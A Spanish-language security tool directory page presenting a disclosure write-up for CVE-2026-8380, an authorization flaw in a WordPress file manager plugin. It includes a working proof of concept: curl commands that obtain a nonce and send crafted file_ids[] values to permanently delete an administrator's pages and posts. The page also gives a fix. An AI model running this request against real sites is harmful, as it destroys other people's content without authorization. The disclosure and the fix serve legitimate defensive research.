Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-8380 — CVE-2026-8380 | Kitploit
Herramientas/GitHubGitHub/tiagob0b/cve-2026-8380
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubtiagob0b/cve-2026-8380

CVE-2026-8380

CVE-2026-8380

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-8380

CVE-2026-8380 — Frontend File Manager <= 23.6 Eliminación Arbitraria de Entradas

Resumen

Se identificó una falla crítica de autorización en el plugin de WordPress Frontend File Manager (nmedia-user-file-uploader) que afecta a las versiones <= 23.6.

La vulnerabilidad permite a usuarios autenticados con privilegios bajos eliminar permanentemente entradas, páginas, archivos adjuntos y tipos de entrada personalizados arbitrarios de WordPress debido a una validación de autorización incorrecta en el endpoint de eliminación AJAX.

Cuando la opción del plugin _allow_guest_upload=yes está habilitada, la vulnerabilidad puede ser explotada por atacantes no autenticados.

  • CVE: CVE-2026-8380
  • Plugin: Frontend File Manager (nmedia-user-file-uploader)
  • Versiones Afectadas: <= 23.6
  • Investigador: Tiago Ferreira
  • CWE: CWE-639 / CWE-862
  • Tipo de Vulnerabilidad: Eliminación Arbitraria de Entradas
  • WPScan: https://wpscan.com/vulnerability/45fcbf74-45be-4cff-a81a-0fea903592a5/

Resumen Ejecutivo

El plugin contiene una vulnerabilidad crítica de omisión de autorización que permite la eliminación arbitraria de contenido de WordPress mediante una validación de parámetros incongruente dentro de la acción AJAX wpfm_delete_file.

La vulnerabilidad fue validada con éxito en un entorno de laboratorio controlado mediante la explotación activa de una Prueba de Concepto.

También se identificaron debilidades de seguridad adicionales durante la investigación:

  • CSRF en endpoints de actualización de metadatos sin validación de nonce
  • Omisión de la lista blanca de extensiones basada únicamente en la última extensión de archivo
  • _allow_guest_upload desactiva las comprobaciones de autorización en múltiples endpoints
  • Limitación de velocidad basada únicamente en REMOTE_ADDR

Endpoint Vulnerable

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=wpfm_delete_file

Archivo Afectado

root@kitploit:~
inc/files.php

Región de Código Vulnerable

root@kitploit:~
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}

// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
            ? array_map('intval', $_POST['file_ids']) : [];

foreach ($file_ids as $file_id) {
    $file = new WPFM_File($file_id);

    wp_delete_post($file_id, $bypass_trash);
}

Causa Raíz

La comprobación de autorización valida la propiedad utilizando el parámetro en singular:

root@kitploit:~
$_POST['file_id']

Sin embargo, la operación de eliminación real itera sobre un parámetro diferente:

root@kitploit:~
$_POST['file_ids[]']

Debido a esta discrepancia, un atacante puede:

  1. Proporcionar una entrada legítima de su propiedad en file_id
  2. Inyectar ID de entrada arbitrarios de la víctima en file_ids[]

No existe validación que garantice:

  • la propiedad de cada elemento en file_ids[]
  • el post_type permitido
  • la relación entre file_id y file_ids[]

Como resultado, cualquier contenido de WordPress puede ser eliminado permanentemente.


Impacto

Un usuario autenticado con privilegios mínimos puede eliminar permanentemente:

  • Entradas
  • Páginas
  • Productos
  • Archivos adjuntos
  • Tipos de entrada personalizados
  • Contenido específico del plugin

La eliminación se realiza con:

root@kitploit:~
wp_delete_post($file_id, true);

Lo que significa que el contenido se elimina permanentemente sin recuperación desde la Papelera.

Si _allow_guest_upload=yes está habilitado:

  • la explotación se vuelve no autenticada
  • la comprobación de propiedad del autor se omite por completo

Prueba de Concepto

Entorno de Laboratorio

  • Objetivo: 192.168.1.1:8080
  • Rol del Atacante: Suscriptor
  • Rol de la Víctima: Administrador

Cuenta del Atacante

root@kitploit:~
wpfm_sub : Sub@Test123

Entradas de la Víctima

root@kitploit:~
Page ID: 60
Post ID: 61

Paso 1 — Obtener el Nonce

El atacante visita una página que contiene el shortcode:

root@kitploit:~
[ffmwp]

Extraer el nonce:

root@kitploit:~
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce

Respuesta:

root@kitploit:~
value="9c233d4720"

Paso 2 — Desencadenar la Eliminación Arbitraria

root@kitploit:~
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
    --data 'action=wpfm_delete_file' \
    --data 'wpfm_ajax_nonce=9c233d4720' \
    --data 'file_id=57' \
    --data 'file_ids[]=60' \
    --data 'file_ids[]=61'

Explicación

ParámetroDescripción
file_id=57Entrada propiedad del suscriptor utilizada para omitir la autorización
file_ids[]=60Página del administrador víctima
file_ids[]=61Entrada del administrador víctima

Respuesta Exitosa

root@kitploit:~
{
  "success": true,
  "data": {
    "message": "2 files, directories are removed inside SUB-OWNED"
  }
}

Verificación

root@kitploit:~
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
root@kitploit:~
404
root@kitploit:~
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
root@kitploit:~
404

Severidad

Escenario Autenticado

CVSS 3.1

root@kitploit:~
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Escenario con Carga de Invitados Habilitada

CVSS 3.1

root@kitploit:~
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Clasificación CWE

  • CWE-639 — Omisión de Autorización Mediante Clave Controlada por el Usuario
  • CWE-862 — Falta de Autorización

Corrección Recomendada

Valide la propiedad y el tipo de entrada para cada elemento dentro de file_ids[].

Ejemplo de implementación segura:

root@kitploit:~
foreach ($file_ids as $fid) {

    if ( ! wpfm_is_current_user_post_author($fid) ) {
        wp_send_json_error(...);
    }

    if ( get_post_type($fid) !== 'wpfm-files' ) {
        wp_send_json_error(...);
    }
}

Cronología

EventoFecha
Vulnerabilidad descubierta2026-05-28
Contacto con el proveedor2026-05-28
Publicado por WPScan2026-06-04
Divulgación pública2026-06-18

Referencias

  • Aviso de WPScan: https://wpscan.com/vulnerability/45fcbf74-45be-4cff-a81a-0fea903592a5/

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-8380


Aviso Legal

Esta investigación se realizó en un entorno de laboratorio controlado únicamente con fines educativos y de investigación en seguridad.

No pruebe sistemas sin la autorización adecuada.

Descargar herramienta